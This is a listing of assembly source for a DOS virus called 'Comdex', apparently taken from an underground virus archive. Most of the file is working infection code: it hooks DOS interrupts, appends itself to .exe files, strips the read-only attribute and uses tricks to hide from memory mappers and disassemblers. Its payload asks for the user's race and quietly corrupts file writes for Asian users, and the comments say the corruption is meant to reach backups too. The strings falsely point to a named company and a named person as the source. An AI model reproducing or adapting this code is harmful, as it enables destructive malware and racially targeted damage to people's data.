home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / c / comdex7.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  23.5 KB  |  805 lines

  1. ;    The Comdex exibit guide program
  2.  
  3. ;    For the Fall 1991 Comdex Las Vegas Convention
  4.  
  5. ;
  6.  
  7. ;
  8.  
  9. ;        A short description of the program:
  10.  
  11. ;
  12.  
  13. ;        It only affects .exe files. 
  14.  
  15. ;        Comdex attaches itself to the end of the programs it affects.
  16.  
  17. ;
  18.  
  19. ;        When an affected file is run, Comdex copies itself to top of
  20.  
  21. ;        free memory, and modifies the memory blocks, in order to hide from
  22.  
  23. ;        memory mapping programs. Some programs may overwrite this area,
  24.  
  25. ;        causing the computer to crash.  If this happens, the user obviously
  26.  
  27. ;     deserved it. 
  28.  
  29. ;
  30.  
  31. ;        Comdex will hook int 21h and when function 4b (exec) is called
  32.  
  33. ;        it sometimes will affect the program being run. It will check every
  34.  
  35. ;        program that is run for affection, and if it is not already
  36.  
  37. ;        affected, it will be.
  38.  
  39. ;
  40.  
  41. ;     Comdex will, after 1 hr, one of 16 chance, ask your race or
  42.  
  43. ;     nationality prior to executing a file.  Af you answer that you
  44.  
  45. ;     are asian/pacific rim, one of 256 file writes will have the
  46.  
  47. ;     length adjusted downward or the record size reduced, depending
  48.  
  49. ;     upon the specific dos call made.
  50.  
  51.  
  52. ;
  53.  
  54. ;        Comdex will remove the read-only attribute before trying to
  55.  
  56. ;        affect programs.
  57.  
  58. ;
  59.  
  60. ;        Affected files can be easily recognized, since they always end in
  61.  
  62. ;        "COMD"
  63.  
  64. ;
  65.  
  66. ;        To check for system affection, a byte at 0:33c is used - if it
  67.  
  68. ;        contains a 069h, Comdex is installed in memory.
  69.  
  70. ;
  71.  
  72. ;
  73.  
  74. comsiz        equ        128        ;in paragraphs
  75.  
  76.  
  77.  
  78. code segment para public 'code'
  79.  
  80.         assume cs:code,ds:nothing,ss:nothing,es:nothing
  81.  
  82.  
  83.  
  84. ;
  85.  
  86. ;         Comdex is basically divided in the following parts.
  87.  
  88. ;
  89.  
  90. ;        1. the main program - run when an affected program is run.
  91.  
  92. ;           it will check if the system is already affected, and if not
  93.  
  94. ;           it will install Comdex.
  95.  
  96. ;
  97.  
  98. ;        2. the new int 17 handler. adjusts two ascii output chars.
  99.  
  100. ;
  101.  
  102. ;        3. the new int 14 handler. 
  103.  
  104. ;
  105.  
  106. ;        4. the new int 8 handler.
  107.  
  108. ;
  109.  
  110. ;        5. the new int 9 handler. 
  111.  
  112. ;
  113.  
  114. ;        6. the new int 21 handler. it will look for exec calls, and
  115.  
  116. ;           affect the program being run.
  117.  
  118. ;
  119.  
  120. ;
  121.  
  122. ;        this is a fake mcb (memory control block)
  123.  
  124. ;     ms-dos inspects the chain of mcbs whenever a memory block allocation,
  125.  
  126. ;     modification, or release function is requested, or when a program
  127.  
  128. ;     is execed or terminated...
  129.  
  130. ;
  131.  
  132.         db        'Z',00,00,comsiz,0,0,0,0,0,0,0,0,0,0,0,0
  133.  
  134. ;                           ^___ # of paragraphs of the controlled mem blk
  135.  
  136.  
  137.  
  138.  
  139.  
  140.  
  141.  
  142. Comdex   proc    far
  143.  
  144. ;
  145.  
  146. ;        Comdex starts by pushing the original start address on the stack,
  147.  
  148. ;        so it can transfer control there when finished.
  149.  
  150. ;
  151.  
  152. labl:  sub    sp,4
  153.  
  154.         push    bp
  155.  
  156.     mov     bp,sp
  157.  
  158.         push    ax
  159.  
  160. ;following line nuked for ease of test
  161.  
  162. ;    nop            ;added so that scan84 doesn't id as [ice-3]
  163.  
  164.         mov     ax,es
  165.  
  166. ;
  167.  
  168. ;        put the the original cs on the stack. the add ax,data instruction
  169.  
  170. ;        is modified by Comdex when it affects other programs.
  171.  
  172. ;
  173.  
  174.         db      05h        ;this is an add ax,10h
  175.  
  176. org_cs  dw      0010h
  177.  
  178.         mov     [bp+4],ax
  179.  
  180. ;
  181.  
  182. ;        put the the original ip on the stack. this mov [bp+2],data instruction
  183.  
  184. ;        is modified by Comdex when it affects other programs.
  185.  
  186. ;
  187.  
  188.         db      0c7h,46h,02h
  189.  
  190. org_ip  dw      0000h
  191.  
  192. ;
  193.  
  194. ;        save all registers that are modified.
  195.  
  196. ;
  197.  
  198.         push    es
  199.  
  200.         push    ds
  201.  
  202.         push    bx
  203.  
  204.         push    cx
  205.  
  206.         push    si
  207.  
  208.         push    di
  209.  
  210. ;
  211.  
  212. ;        check if already installed. quit if so.
  213.  
  214. ;
  215.  
  216.         mov        ax,0                
  217.  
  218.         mov        es,ax        ;zero es
  219.  
  220.         cmp        es:[33ch],byte ptr 069h
  221.  
  222. ;&&
  223.  
  224. ;        jne        l1
  225.  
  226. ;
  227.  
  228. ;        restore all registers and return to the original program.
  229.  
  230. ;
  231.  
  232. exit:   pop        di
  233.  
  234.         pop        si
  235.  
  236.         pop        cx
  237.  
  238.         pop        bx
  239.  
  240.         pop        ds
  241.  
  242.         pop        es
  243.  
  244.         pop        ax
  245.  
  246.         pop        bp
  247.  
  248.         retf
  249.  
  250. ;
  251.  
  252. ;    Comdex tries to hide from detection by modifying the memory block it
  253.  
  254. ;    uses, so it seems to be a block that belongs to the operating system.
  255.  
  256. ;
  257.  
  258. ;    it looks rather weird, but it seems to work.
  259.  
  260. ;
  261.  
  262. l1:     mov     ah,52h
  263.  
  264.         call    int21        ;undefined dos call!!?
  265.  
  266.         mov     ax,es:[bx-2]
  267.  
  268.     nop
  269.  
  270.         mov     es,ax
  271.  
  272.         add     ax,es:[0003]
  273.  
  274.         inc     ax
  275.  
  276.         inc     ax
  277.  
  278.         mov     cs:[0001],ax
  279.  
  280. ;
  281.  
  282. ;         next, Comdex modifies the memory block of the affected program.
  283.  
  284. ;         it is made smaller, and no longer the last block.
  285.  
  286. ;
  287.  
  288.         mov     bx,ds
  289.  
  290.         dec     bx
  291.  
  292.     nop 
  293.  
  294.         mov     ds,bx
  295.  
  296.         mov     al,'M'
  297.  
  298.         mov     ds:[0000],al
  299.  
  300.         mov     ax,ds:[0003]
  301.  
  302.         sub     ax,comsiz
  303.  
  304.         mov     ds:[0003],ax
  305.  
  306.         add     bx,ax
  307.  
  308.         inc     bx
  309.  
  310. ;
  311.  
  312. ;         then Comdex moves itself to the new block.
  313.  
  314. ;
  315.  
  316.     mov    es,bx
  317.  
  318.     xor    si,si
  319.  
  320.     xor    di,di
  321.  
  322.     push    cs
  323.  
  324.     pop    ds
  325.  
  326.         mov     cx,652h            ;the length of this program -
  327.  
  328.                     ;be *sure* to update this!!
  329.  
  330.                     ;in fact, make it symbolic!!
  331.  
  332.         cld
  333.  
  334.         rep     movsb
  335.  
  336. ;
  337.  
  338. ;        Comdex then transfers control to the new copy of itself.
  339.  
  340. ;
  341.  
  342.         push     es
  343.  
  344.     nop
  345.  
  346.         mov      ax,offset l3
  347.  
  348.         push     ax
  349.  
  350.         retf
  351.  
  352.     db     3dh            ;confuse disassemblers
  353.  
  354. ;
  355.  
  356. ;       zero some variables
  357.  
  358. ;
  359.  
  360. l3:     mov     byte ptr cs:[min60],0
  361.  
  362.         mov     byte ptr cs:[min50],0
  363.  
  364.         mov     word ptr cs:[timer],0
  365.  
  366.     mov    byte ptr cs:[input_char],0
  367.  
  368. ;
  369.  
  370. ;       set flag to confirm installation
  371.  
  372. ;
  373.  
  374.     xor    ax,ax
  375.  
  376.     mov    es,ax
  377.  
  378.     inc    ax            ;dummy operation to confuse function
  379.  
  380.         mov     byte ptr es:[33ch],069h
  381.  
  382. ;
  383.  
  384. ;       hook interrupt 21:
  385.  
  386. ;    (the primary dos function interrupt) 
  387.  
  388. ;
  389.  
  390.         mov        ax,es:[0084h]
  391.  
  392.         mov        cs:[old21],ax
  393.  
  394.         mov        ax,es:[0086h]
  395.  
  396.     nop 
  397.  
  398.         mov        cs:[old21+2],ax
  399.  
  400.         mov        ax,cs
  401.  
  402.         mov        es:[0086h],ax
  403.  
  404.         mov        ax,offset new21
  405.  
  406.         mov        es:[0084h],ax
  407.  
  408. ;
  409.  
  410. ;       hook interrupt 17:
  411.  
  412. ;    (bios lpt services)
  413.  
  414. ;
  415.  
  416.        mov        ax,es:[005ch]
  417.  
  418.        mov        cs:[old17],ax
  419.  
  420.        nop
  421.  
  422.        mov        ax,es:[005eh]
  423.  
  424.        mov        cs:[old17+2],ax
  425.  
  426.        inc      ax            ;dummy op
  427.  
  428.        mov        ax,cs
  429.  
  430.        mov        es:[005eh],ax
  431.  
  432.        mov        ax,offset new17
  433.  
  434.        mov        es:[005ch],ax
  435.  
  436.  
  437.  
  438. ;
  439.  
  440. ;       hook interrupt 14:
  441.  
  442. ;    (bios serial port services)
  443.  
  444. ;
  445.  
  446. ;       mov        ax,es:[0050h]
  447.  
  448. ;       mov        cs:[old17],ax
  449.  
  450. ;       mov        ax,es:[0052h]
  451.  
  452. ;       mov        cs:[old14+2],ax
  453.  
  454. ;       mov        ax,cs
  455.  
  456. ;       mov        es:[0052h],ax
  457.  
  458. ;       mov        ax,offset new14
  459.  
  460. ;       mov        es:[0050h],ax
  461.  
  462. ;
  463.  
  464. ;
  465.  
  466. ;
  467.  
  468.         cmp     word ptr cs:[noinf],5
  469.  
  470.         jg      hook8
  471.  
  472.         jmp     exit
  473.  
  474. ;
  475.  
  476. ;       hook interrupt 9
  477.  
  478. ;    (bios keyboard interrupt)
  479.  
  480. ;
  481.  
  482. ;hook9:  mov        ax,es:[0024h]
  483.  
  484. ;       mov        cs:[old9],ax
  485.  
  486. ;       mov        ax,es:[0026h]
  487.  
  488. ;       mov        cs:[old9+2],ax
  489.  
  490. ;       mov        ax,cs
  491.  
  492. ;       mov        es:[0026h],ax
  493.  
  494. ;       mov        ax,offset new9
  495.  
  496. ;       mov        es:[0024h],ax
  497.  
  498. ;
  499.  
  500. ;       hook interrupt 8
  501.  
  502. ;    (timer ticks)
  503.  
  504. ;
  505.  
  506.     db       3dh,0cch,03h,3dh,3dh    ;confuse dissassemblers
  507.  
  508. hook8:  mov        ax,es:[0020h]
  509.  
  510.         mov        cs:[old8],ax
  511.  
  512.         mov        ax,es:[0022h]
  513.  
  514.         mov        cs:[old8+2],ax
  515.  
  516.         mov        ax,cs
  517.  
  518.     nop
  519.  
  520.         mov        es:[0022h],ax
  521.  
  522.         mov        ax,offset new8
  523.  
  524.         mov        es:[0020h],ax
  525.  
  526.         jmp        exit
  527.  
  528.  
  529.  
  530.  
  531.  
  532. ;the int 21 calls go through this routine to confuse the issue:
  533.  
  534. int21:    push    ax
  535.  
  536.     mov    ax,0ffh
  537.  
  538.     mov    word ptr cs:[internal],ax    ;set internal int 21 flag
  539.  
  540.     mov    al,20h
  541.  
  542.     inc    al                ;put 21 in al
  543.  
  544.     mov    byte ptr cs:[int21b],al        ;self modifying code!
  545.  
  546.     pop    ax
  547.  
  548.     db    0cdh                ;int opcode
  549.  
  550. int21b:    db    0cch                ;overwritten to int 21h
  551.  
  552.     push    ax
  553.  
  554.     mov    ax,00
  555.  
  556.     mov    word ptr cs:[internal],ax    ;clear internal int 21 flag
  557.  
  558.     mov    ax,0cch
  559.  
  560.     mov    byte ptr cs:[int21b],al        ;nuke it back to int 0cch
  561.  
  562.     pop    ax
  563.  
  564.     retn
  565.  
  566.  
  567.  
  568.  
  569.  
  570.  
  571.  
  572.     db    "Welcome to Comdex "
  573.  
  574.     db    "From the Interface Group, Inc. "
  575.  
  576.     db    "300 First Avenue "
  577.  
  578.     db    "Needham, MA 02194 "
  579.  
  580.     db    "(617)449-6600 "
  581.  
  582.     db    "For data recovery ask for "
  583.  
  584.     db    "Peter J. Bowes, unless you are "
  585.  
  586.     db    "Oriental, in which case, we will "
  587.  
  588.     db    "not help you. "
  589.  
  590.  
  591.  
  592. quest      db    0dh,0ah,"Software Piracy Prevention Center",0dh,0ah
  593.  
  594.     db    "requests your cooperation:",0dh,0ah,0dh,0ah
  595.  
  596.     db    "Please enter your race or nationality:",0dh,0ah
  597.  
  598.     db    "a. White         e. Eastern European",0dh,0ah    
  599.  
  600.     db    "b. Black         f. Soviet",0dh,0ah
  601.  
  602.     db    "c. Hispanic         g. Western European",0dh,0ah
  603.  
  604.     db    "d. Asian/Pacific Rim     h. Other",0dh,0ah,0dh,0ah
  605.  
  606.     db    "  Please enter your response: ","$"
  607.  
  608.  
  609.  
  610. input_char:    db    0
  611.  
  612.     db    3dh        ;confuse disassemblers
  613.  
  614.  
  615.  
  616. askit:    push    ax
  617.  
  618.     push    bx
  619.  
  620.     push    cx
  621.  
  622.     push    dx
  623.  
  624.     push    si
  625.  
  626.     push    di
  627.  
  628.     push    ds
  629.  
  630.     push    es
  631.  
  632.  
  633.  
  634.     cmp    byte ptr cs:[min60],1    ;resident 1 hr yet?
  635.  
  636.     jnz    noask
  637.  
  638.     cmp    byte ptr cs:[input_char],0
  639.  
  640.     jnz    noask            ;don't ask twice
  641.  
  642.     mov    ax,word ptr cs:[timer]
  643.  
  644.     and    ax,000fh        ;look at ls free running clock
  645.  
  646.     cmp    ax,000ch        ;does it happen to be 00ch? (1 of 16)
  647.  
  648.     jnz    noask            ;if not, don't ask the guy!
  649.  
  650.  
  651.  
  652.     mov    dx,offset quest        ;ask the guy about race
  653.  
  654.     mov    ah,09h            ;dos string print
  655.  
  656.     push    cs
  657.  
  658.     pop    ds
  659.  
  660.     call    int21            ;print question on crt
  661.  
  662.     mov    ax,0c01h        ;dos flush input and get char
  663.  
  664.     call    int21            ;get char
  665.  
  666.     and    al,0dfh            ;force upper case
  667.  
  668.     mov    byte ptr cs:[input_char],al    ;save away response
  669.  
  670. noask:    pop    es
  671.  
  672.     pop    ds
  673.  
  674.     pop    di
  675.  
  676.     pop    si
  677.  
  678.     pop    dx
  679.  
  680.     pop    cx
  681.  
  682.     pop    bx
  683.  
  684.     pop    ax
  685.  
  686.     retn
  687.  
  688.  
  689.  
  690. ;********************************************************************
  691.  
  692.  
  693.  
  694. ;
  695.  
  696. ;       int 9 (keyboard) replacement: 
  697.  
  698. ;       this routine does not become active until 50 minutes after
  699.  
  700. ;       the execution of an affected program.
  701.  
  702. ;
  703.  
  704. ;new9:   push    ax
  705.  
  706. ;        push    es
  707.  
  708. ;        cmp     byte ptr cs:[min50],1
  709.  
  710. ;        jnz     retx1
  711.  
  712.  
  713.  
  714. ;insert any code here that activates 50 min after launch for int 9...
  715.  
  716.  
  717.  
  718. ;retx1:  pop     es            ;prepare to go to old int 9 code:
  719.  
  720. ;        pop     ax
  721.  
  722. ;        db      0eah            ;jmp 0000:0000 nmemonic
  723.  
  724. ;old9    dw      0,0            ;storage for old addr
  725.  
  726.  
  727.  
  728.  
  729.  
  730. ;********************************************************************
  731.  
  732. ;
  733.  
  734. ;       new int 14 (serial port) routine - 
  735.  
  736. ;
  737.  
  738. ;new14:  cmp     ah,1            ;is it an output request?
  739.  
  740. ;        jz      s1            ;yup.  don't return just yet.
  741.  
  742. ;do14:   db      0eah            ;jmp 0000:0000 nmemonic
  743.  
  744. ;old14   dw      0,0
  745.  
  746. ;s1:     
  747.  
  748.  
  749.  
  750. ;insert any code here for output to serial port...
  751.  
  752.  
  753.  
  754. ;        jmp     do14
  755.  
  756.  
  757.  
  758.  
  759.  
  760. ;********************************************************************
  761.  
  762. ;
  763.  
  764. ;       new int 8 routine  (bios timer ticks)
  765.  
  766. ;
  767.  
  768.     db    3dh            ;piss off disassemblers
  769.  
  770. new8:      push    dx
  771.  
  772.         push    cx
  773.  
  774.         push    bx
  775.  
  776.         push    ax
  777.  
  778.     jmp    txex ;&&
  779.  
  780.     inc    word ptr cs:[timer]        ; increment timer
  781.  
  782.         cmp     byte ptr cs:[min60],01          ; if counter >= 60 min.
  783.  
  784.         jz      tt0                             ; no need to check any more
  785.  
  786.         cmp     word ptr cs:[timer],-11         ; 60 minutes ?
  787.  
  788.         jz      tt1
  789.  
  790.         cmp     word ptr cs:[timer],54601       ; 50 minutes ?
  791.  
  792.         jz      tt2
  793.  
  794.         jmp     txex
  795.  
  796. ;
  797.  
  798. ;       50 minutes after an affected program is run the flag is set.
  799.  
  800. ;
  801.  
  802. tt2:    mov     byte ptr cs:[min50],1
  803.  
  804.         jmp     txex
  805.  
  806. ;
  807.  
  808. ;       60 minutes after an affected program is run this flag is set.
  809.  
  810. ;
  811.  
  812. tt1:    mov     byte ptr cs:[min60],1
  813.  
  814.  
  815.  
  816. ;    exit interrupt routine:
  817.  
  818.  
  819.  
  820.         jmp     txex
  821.  
  822. ;
  823.  
  824. ;       every time an int 8 occurs, after the 60 min. have passed, we
  825.  
  826. ;       end up here:
  827.  
  828. ;
  829.  
  830. tt0:    
  831.  
  832. ;insert any fun timer oriented code here
  833.  
  834. ;
  835.  
  836. ;       restore registers and quit
  837.  
  838. ;
  839.  
  840. txex:   pop     ax
  841.  
  842.         pop     bx
  843.  
  844.         pop     cx
  845.  
  846.         pop     dx
  847.  
  848.         db      0eah
  849.  
  850. old8    dw      0,0
  851.  
  852.  
  853.  
  854. ;********************************************************************
  855.  
  856. ;
  857.  
  858. ;       new int 17 routine. lpt out stuff.
  859.  
  860. ;
  861.  
  862. new17:  jmp    do17    ;&&
  863.  
  864.     cmp     ah,0
  865.  
  866.     
  867.  
  868.         jz      p0
  869.  
  870. do17:   db      0eah
  871.  
  872. old17   dw      0,0
  873.  
  874.     db    2eh            ;confuse disassemblers
  875.  
  876. p0:    cmp    byte ptr cs:[input_char],44h    ;d. asian/pacific rim?
  877.  
  878.     jne    not_asian     
  879.  
  880.     push    ax
  881.  
  882.     mov    ax,word ptr cs:[timer]
  883.  
  884.     and    ax,00ffh
  885.  
  886.     cmp    ax,0032h        ; one of 256 odds
  887.  
  888.     pop    ax            ; restore ax, doesn't change flags
  889.  
  890.     jne    do17            ; don't twiddle lpt 255/256 odds
  891.  
  892.     cmp    al,55h            ; printing a "U"?
  893.  
  894.     jne    notu
  895.  
  896.     mov    al,0efh            ; make it upside-down!
  897.  
  898.     jmp    do17            ; and continue.
  899.  
  900. notu:    cmp    al,06fh            ; lower case "o"?
  901.  
  902.     jne    do17            ; no?  then exit.
  903.  
  904.     mov    al,093h            ; make it an "o" with a ^ over it!
  905.  
  906.     jmp    do17            ; and exit.    
  907.  
  908. not_asian:
  909.  
  910.         jmp     do17
  911.  
  912.  
  913.  
  914.  
  915.  
  916. ;Int 21 file adjustment routines - the following routines corrupt a small
  917.  
  918. ;percentage of the file writes that Asians do in their use of the pc.  For
  919.  
  920. ;example, when one updates a spreadsheet or exits a word processor, the
  921.  
  922. ;application software will re-write the file out to disk.  What we do here
  923.  
  924. ;is reduce the amount of the data that is written to the file.  The hope
  925.  
  926. ;is that the problem will be hidden for a significant period of time, since
  927.  
  928. ;it happens only infrequently, and since it typically will happen upon exit
  929.  
  930. ;of the application package.  If the reduction of the write causes a serious
  931.  
  932. ;problem (we hope it will) it won't usually be noticed until that file is
  933.  
  934. ;loaded again.  The other hope is that if the user does backup his data from
  935.  
  936. ;time to time, this corrupted data will end up on the backup as well before
  937.  
  938. ;the problem is noticed.  With luck, maybe the user will assume that the
  939.  
  940. ;hardware is intermittent, and backup the system over the top of his only
  941.  
  942. ;existing backup set, then purchase replacement hardware.
  943.  
  944.  
  945.  
  946.  
  947.  
  948.  
  949.  
  950. fuck_size_f:            ;if asian, reduce file rec size by 1 on fcb ops
  951.  
  952.     push    ax
  953.  
  954.     push    di
  955.  
  956.     push    dx        ;setup di for indexed operations
  957.  
  958.     pop    di
  959.  
  960.     cmp    byte ptr cs:[input_char],044h    ;asian?
  961.  
  962.     jne    exit_fuck_f    ;no, then do nothing
  963.  
  964.     mov    ax,word ptr cs:[timer]
  965.  
  966.     and    ax,00ffh    ;mask off ls 8 bits of free run timer
  967.  
  968.     cmp    ax,0069h    ;does it happen to be 69h? (1 of 256)
  969.  
  970.     jne    exit_fuck_f    ;nope, so do nothing
  971.  
  972.     
  973.  
  974.     mov    al,[ds:di+0]    ;get first byte of user's fcb
  975.  
  976.     cmp    al,0ffh        ;extended fcb?
  977.  
  978.     jne    norm_fcb    ;nope, so handle as normal fcb
  979.  
  980.     mov    ax,[ds:di+15h]    ;get record size, 16 bits on extd fcb.
  981.  
  982.     dec    ax        ;adjust it a bit, since the user really doesn't
  983.  
  984.                 ;need to write so much data.
  985.  
  986.     mov    [ds:di+15h],ax
  987.  
  988.     jmp    exit_fuck_f    ;subsequent r/w ops should fail to get the
  989.  
  990.                 ;right data until this file is closed or
  991.  
  992.                 ;until system crashes.
  993.  
  994.     
  995.  
  996. norm_fcb:
  997.  
  998.     mov    al,[ds:di+0eh]    ;get record size, only 8 bits on norm fcb.
  999.  
  1000.     dec    al        ;reduce by 1
  1001.  
  1002.     mov    [ds:di+0eh],al    ;store it back
  1003.  
  1004. exit_fuck_f:
  1005.  
  1006.     pop    di
  1007.  
  1008.     pop    ax
  1009.  
  1010.     jmp    do21
  1011.  
  1012.  
  1013.  
  1014.  
  1015.  
  1016. fuck_size_h:            ;reduce length of handle file writes
  1017.  
  1018.     push    ax
  1019.  
  1020.     push    di
  1021.  
  1022.     push    dx
  1023.  
  1024.     pop    di
  1025.  
  1026.     cmp    byte ptr cs:[input_char],044h  ;asian?
  1027.  
  1028.     jne    exit_fuck_h    ;no, so don't damage anything.
  1029.  
  1030.     mov    ax,word ptr cs:[timer]
  1031.  
  1032.     and    ax,00ffh
  1033.  
  1034.     cmp    ax,0066h    ;one out of 256 odds
  1035.  
  1036.     jne    try_again    ;no?  well give it another chance.
  1037.  
  1038.     and    cx,0fff5h    ;reduce write length in bytes by a flakey amt
  1039.  
  1040.     dec    cx        ;ranging from 1 to 11 bytes.
  1041.  
  1042. exit_fuck_h:
  1043.  
  1044.     pop    ax
  1045.  
  1046.     jmp    do21
  1047.  
  1048.  
  1049.  
  1050. try_again:
  1051.  
  1052.     cmp    ax,0077h    ;one of 256 odds?
  1053.  
  1054.     jne    exit_fuck_h    ;exit if not lucky.
  1055.  
  1056.     mov    ax,[ds:di+30h]    ;get a user data byte from his buffer
  1057.  
  1058.     xor    ax,0004h    ;toggle bit 2 of byte 30h
  1059.  
  1060.     mov    [ds:di+30h],ax    ;and put it back
  1061.  
  1062.     jmp    exit_fuck_h
  1063.  
  1064.  
  1065.  
  1066. ;********************************************************************
  1067.  
  1068. ;
  1069.  
  1070. ;        this is the int 21 replacement. it only does something in 
  1071.  
  1072. ;        the case of an execute program dos call.
  1073.  
  1074. ;
  1075.  
  1076. ;be careful here not to trap int codes that we use internally!
  1077.  
  1078. new21:  jmp    do21    ;&&
  1079.  
  1080.     push    ax
  1081.  
  1082.     cmp    word ptr cs:[internal],0ffh ;is it an internal int 21?
  1083.  
  1084.     je    do21            ;yup, so no tweaking allowed
  1085.  
  1086.     pop    ax
  1087.  
  1088.     cmp    ah,015h            ;is it a fcb file write?
  1089.  
  1090.     je    fuck_size_f        ;if asian, reduce record size by 1
  1091.  
  1092.     cmp    ah,040h            ;is it a handle file write?
  1093.  
  1094.     je    fuck_size_h        ;if asian, adjust write length down.
  1095.  
  1096.     cmp    ah,4bh            ;is it an int 21 code 4b?
  1097.  
  1098.         je     l5            ;yup.  go affect stuff
  1099.  
  1100. do21:   db     0eah            ;nope.  let dos handle it
  1101.  
  1102. old21   dw     0,0
  1103.  
  1104. ;
  1105.  
  1106. ;       the code to only affect every tenth program has been removed
  1107.  
  1108. ;    for now.  restore this code later.
  1109.  
  1110. ;
  1111.  
  1112.     db        3dh            ;confuse disassemblers
  1113.  
  1114. l5:     call        askit        ;ask race if appropriate
  1115.  
  1116.     push        ax
  1117.  
  1118.         push        bx
  1119.  
  1120.         push        cx
  1121.  
  1122.         push        dx
  1123.  
  1124.         push        si
  1125.  
  1126.         push        ds
  1127.  
  1128. ;
  1129.  
  1130. ;        search for the file name extension ...
  1131.  
  1132. ;
  1133.  
  1134.         mov        bx,dx
  1135.  
  1136. l6:     inc        bx
  1137.  
  1138.         cmp        byte ptr [bx],'.'
  1139.  
  1140.         je         l8
  1141.  
  1142.         cmp        byte ptr [bx],0
  1143.  
  1144.         jne        l6
  1145.  
  1146. ;
  1147.  
  1148. ;        ... and quit unless it starts with "ex".
  1149.  
  1150. ;
  1151.  
  1152. l7:     pop        ds
  1153.  
  1154.         pop        si
  1155.  
  1156.         pop        dx
  1157.  
  1158.         pop        cx
  1159.  
  1160.         pop        bx
  1161.  
  1162.         pop        ax
  1163.  
  1164.         jmp        do21
  1165.  
  1166. l8:     inc        bx
  1167.  
  1168.         cmp        word ptr [bx],5845h        ;"EX"
  1169.  
  1170.         jne        l7
  1171.  
  1172. ;
  1173.  
  1174. ;        when an .exe file is found, Comdex starts by turning off
  1175.  
  1176. ;        the read-only attribute. the read-only attribute is not restored
  1177.  
  1178. ;        when the file has been affected.
  1179.  
  1180. ;
  1181.  
  1182.         mov        ax,4300h                ; get attribute
  1183.  
  1184.         call       int21
  1185.  
  1186.         jc         l7
  1187.  
  1188.         mov        ax,4301h                ; set attribute
  1189.  
  1190.         and        cx,0feh
  1191.  
  1192.         call       int21
  1193.  
  1194.         jc         l7
  1195.  
  1196. ;
  1197.  
  1198. ;        next, the file is examined to see if it is already affected.
  1199.  
  1200. ;         the signature (4418 5f19) is stored in the last two words.
  1201.  
  1202. ;
  1203.  
  1204.         mov        ax,3d02h                ; open / write access
  1205.  
  1206.         call       int21
  1207.  
  1208.         jc         l7
  1209.  
  1210.         mov        bx,ax                        ; file handle in bx
  1211.  
  1212. ;
  1213.  
  1214. ;       this part of the code is new: get date of file.
  1215.  
  1216. ;
  1217.  
  1218.         mov     ax,5700h
  1219.  
  1220.         call    int21
  1221.  
  1222.         jc      l9
  1223.  
  1224.         mov     cs:[date1],dx
  1225.  
  1226.         mov     cs:[date2],cx
  1227.  
  1228. ;
  1229.  
  1230.         push    cs                        ; now ds is no longer needed
  1231.  
  1232.         pop     ds
  1233.  
  1234. ;
  1235.  
  1236. ;        the header of the file is read in at [id+8]. Comdex then
  1237.  
  1238. ;        modifies itself, according to the information stored in the
  1239.  
  1240. ;        header. (the original cs and ip addressed are stored).
  1241.  
  1242. ;
  1243.  
  1244.         mov        dx,offset id+8
  1245.  
  1246.         mov        cx,1ch
  1247.  
  1248.         mov        ah,3fh
  1249.  
  1250.         call       int21
  1251.  
  1252.         jc         l9
  1253.  
  1254.         mov        ax,ds:id[1ch]
  1255.  
  1256.         mov        ds:[org_ip],ax
  1257.  
  1258.     inc       ax            ;confuse reader a little
  1259.  
  1260.         mov        ax,ds:id[1eh]
  1261.  
  1262.         add        ax,10h
  1263.  
  1264.         mov        ds:[org_cs],ax
  1265.  
  1266. ;
  1267.  
  1268. ;        next the read/write pointer is moved to the end of the file-4,
  1269.  
  1270. ;        and the last 4 bytes read. they are compared to the signature,
  1271.  
  1272. ;        and if equal nothing happens.
  1273.  
  1274. ;
  1275.  
  1276.         mov        ax,4202h
  1277.  
  1278.         mov        cx,-1
  1279.  
  1280.         mov        dx,-4
  1281.  
  1282.         call       int21
  1283.  
  1284.         jc         l9
  1285.  
  1286.         add        ax,4
  1287.  
  1288.         mov        ds:[len_lo],ax
  1289.  
  1290.         jnc        l8a
  1291.  
  1292.         inc        dx
  1293.  
  1294. l8a:    mov        ds:[len_hi],dx
  1295.  
  1296. ;
  1297.  
  1298. ;       this part of Comdex is new - check if it is below minimum length
  1299.  
  1300. ;
  1301.  
  1302.         cmp        dx,0
  1303.  
  1304.         jne        l8b
  1305.  
  1306.         mov        cl,13
  1307.  
  1308.         shr        ax,cl
  1309.  
  1310.         cmp        ax,0
  1311.  
  1312.         jg         l8b
  1313.  
  1314.     nop
  1315.  
  1316.         jmp        short l9
  1317.  
  1318. l8b:    mov        ah,3fh
  1319.  
  1320.         mov        cx,4
  1321.  
  1322.         mov        dx,offset id+4
  1323.  
  1324.         call       int21
  1325.  
  1326.         jnc        l11
  1327.  
  1328. l9:     mov        ah,3eh
  1329.  
  1330.         call       int21
  1331.  
  1332. l10:    jmp        l7
  1333.  
  1334.     db       3eh            ;confuse disassemblers
  1335.  
  1336. ;
  1337.  
  1338. ;        compare to 4f43,444d which is first 4 letters of Comdex
  1339.  
  1340. ;
  1341.  
  1342. l11:    mov        si,offset id+4
  1343.  
  1344.         mov        ax,[si]
  1345.  
  1346.         cmp        ax,4f43h        ;ascii "OC"
  1347.  
  1348.         jne        l12
  1349.  
  1350.         mov        ax,[si+2]
  1351.  
  1352.         cmp        ax,444dh        ;ascii "DM"
  1353.  
  1354.         je         l9
  1355.  
  1356. ;
  1357.  
  1358. ;        the file is not affected, so the next thing Comdex does is
  1359.  
  1360. ;        affect it. first it is padded so the length becomes a multiple
  1361.  
  1362. ;        of 16 bytes. this is done so Comdex code can start at a
  1363.  
  1364. ;        paragraph boundary.
  1365.  
  1366. ;
  1367.  
  1368. l12:    mov        ax,ds:[len_lo]
  1369.  
  1370.         and        ax,0fh
  1371.  
  1372.         jz         l13
  1373.  
  1374.         mov        cx,16
  1375.  
  1376.         sub        cx,ax
  1377.  
  1378.     nop
  1379.  
  1380.         add        ds:[len_lo],cx
  1381.  
  1382.         jnc        l12a
  1383.  
  1384.         inc        ds:[len_hi]
  1385.  
  1386. l12a:   mov        ah,40h
  1387.  
  1388.         call       int21        ;dos write to file
  1389.  
  1390.         jc         l9
  1391.  
  1392. ;
  1393.  
  1394. ;        next the main body of Comdex is written to the end.
  1395.  
  1396. ;
  1397.  
  1398. l13:    xor       dx,dx
  1399.  
  1400.         mov        cx,offset id + 4
  1401.  
  1402.         mov        ah,40h        ;dos write to file
  1403.  
  1404.         call       int21
  1405.  
  1406.         jc         l9
  1407.  
  1408. ;
  1409.  
  1410. ;        next the .exe file header is modified:
  1411.  
  1412. ;
  1413.  
  1414. ;        first modify initial ip
  1415.  
